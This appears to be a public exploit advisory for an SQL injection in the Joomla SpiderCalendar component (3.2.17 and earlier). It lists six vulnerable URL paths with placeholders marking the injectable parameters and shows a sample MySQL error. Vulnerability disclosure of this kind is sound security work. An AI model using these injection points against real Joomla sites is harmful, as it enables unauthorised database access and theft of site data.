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# Exploit Title : Joomla SpiderCalendar Components 3.2.17 SQL Injection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 25/02/2019
# Vendor Homepage : web-dorado.com
# Software Download Link : web-dorado.com/products/joomla-calendar.html
# Software Information Link : extensions.joomla.org/extension/spider-calendar/
# Software Affected Versions : 3.2.6 and 3.2.17 / All Previous Versions
# Software Price Type : Paid Download ~ 20$ - 30$ - 40$
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type : CWE-89 [ Improper Neutralization of 
Special Elements used in an SQL Command ('SQL Injection') ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos

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# Description about Software :
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Spider Calendar is one of the best event calendars available in JED. Spider Calendar is a 

highly configurable responsive extension which allows you to have multiple organized 

events in a calendar. If you have problem with organizing your events and displaying 

them in a calendar format, then Spider Calendar is the best solution

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# Impact :
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Joomla SpiderCalendar 3.2.17 [ and other versions ] component for Joomla is prone

to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied 

data before using it in an SQL query. Exploiting this issue could allow an attacker 

to compromise the application, access or modify data, or exploit latent vulnerabilities

 in the underlying database. A remote attacker can send a specially crafted request 

to the vulnerable application and execute arbitrary SQL commands in application`s database.

Further exploitation of this vulnerability may result in unauthorized data manipulation.

An attacker can exploit this issue using a browser.

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# SQL Injection Exploit :
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/index.php?option=com_spidercalendar&calendar_id=[SQL Injection]

/index.php?option=com_spidercalendar&date=[SQL Injection]

/index.php?option=com_spidercalendar&view=bigcalendarweek&def_view=list&views=&rand=[ID-NUMBER]&theme_id=[ID-NUMBER]&calendar=[ID-NUMBER]&cat_id=&cat_ids=&format=row&tmpl=component&Itemid=[SQL Injection]

/index.php?option=com_spidercalendar&view=spidercalendarbig_seemore&theme_id=[ID-NUMBER]&ev_ids=&calendar_id=[ID-NUMBER]&date=[YEAR]-[MONTH]-[DAY]&cat_id=&cat_ids=[SQL Injection]&tmpl=component

/index.php?option=com_spidercalendar&view=spidercalendarbig&theme_id=[ID-NUMBER]&calendar_id=[ID-NUMBER]&eventID=[ID-NUMBER]&date=[YEAR]-[MONTH]-[DAY]&day=[ID-NUMBER]&ev_ids=[SQL Injection]&tmpl=component

/index.php?option=com_spidercalendar&view=bigcalendarweek&def_view=list&views=&rand=[ID-NUMBER]&theme_id=[ID-NUMBER]&calendar=[ID-NUMBER]&cat_id=&cat_ids=&format=row&tmpl=component&Itemid=[ID-NUMBER]&months=[YEAR]-[MONTH]-[DAY]&date=[YEAR]-[MONTH]-[DAY][SQL Injection]

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# Example SQL Database Error :
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1064 - You have an error in your SQL syntax; check the manual that corresponds to your 
MySQL server version for the right syntax to use near ')' at line 2 SQL=SELECT * 
FROM fx5md_spidercalendar_event where calendar=1 AND id IN ()

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# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team 

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